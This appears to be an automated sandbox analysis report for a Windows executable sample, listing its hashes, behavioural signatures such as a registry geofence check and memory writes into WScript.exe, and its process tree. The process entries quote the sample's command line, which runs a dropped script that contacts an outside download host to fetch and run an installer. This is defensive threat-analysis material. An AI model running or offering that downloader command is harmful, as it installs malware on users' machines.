Analysis
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max time kernel
91s -
max time network
93s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
11-05-2024 11:35
Static task
static1
Behavioral task
behavioral1
Sample
34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe
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Size
184KB
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MD5
34644cec733aff31e7ab990ed1713171
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SHA1
00955ecc036ca01745da57573950de26c144ac91
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SHA256
684190ce96411d5810c3919dba15aae7adc438f53395a746be91ad722bea7ab2
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SHA512
ea1416765024dcafe05529bb3658ee614fa26d92e602d773a6f769d169067a1a5569dc197250c87df5236b692403f49bdff2fd76010438a466c28111bc7f83dd
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3D:/7BSH8zUB+nGESaaRvoB7FJNndnq
Malware Config
Signatures
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Blocklisted process makes network request 6 IoCs
Processes:
WScript.exeWScript.exeWScript.exeWScript.exeWScript.exeflow pid process 4 212 WScript.exe 28 4248 WScript.exe 32 1724 WScript.exe 41 2704 WScript.exe 49 1728 WScript.exe 50 1728 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
34644cec733aff31e7ab990ed1713171_JaffaCakes118.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
Processes:
34644cec733aff31e7ab990ed1713171_JaffaCakes118.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
34644cec733aff31e7ab990ed1713171_JaffaCakes118.exedescription pid process target process PID 2728 wrote to memory of 212 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 212 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 212 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 4248 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 4248 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 4248 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 1724 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 1724 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 1724 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 2704 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 2704 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 2704 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 1728 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 1728 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe PID 2728 wrote to memory of 1728 2728 34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe WScript.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\34644cec733aff31e7ab990ed1713171_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf63BB.js" http://www.djapp.info/?domain=vGDSEotuAW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=3D377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf63BB.exe2⤵
- Blocklisted process makes network request
PID:212
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf63BB.js" http://www.djapp.info/?domain=vGDSEotuAW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=3D377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf63BB.exe2⤵
- Blocklisted process makes network request
PID:4248
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf63BB.js" http://www.djapp.info/?domain=vGDSEotuAW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=3D377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf63BB.exe2⤵
- Blocklisted process makes network request
PID:1724
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf63BB.js" http://www.djapp.info/?domain=vGDSEotuAW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=3D377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf63BB.exe2⤵
- Blocklisted process makes network request
PID:2704
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf63BB.js" http://www.djapp.info/?domain=vGDSEotuAW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=3D377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf63BB.exe2⤵
- Blocklisted process makes network request
PID:1728
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76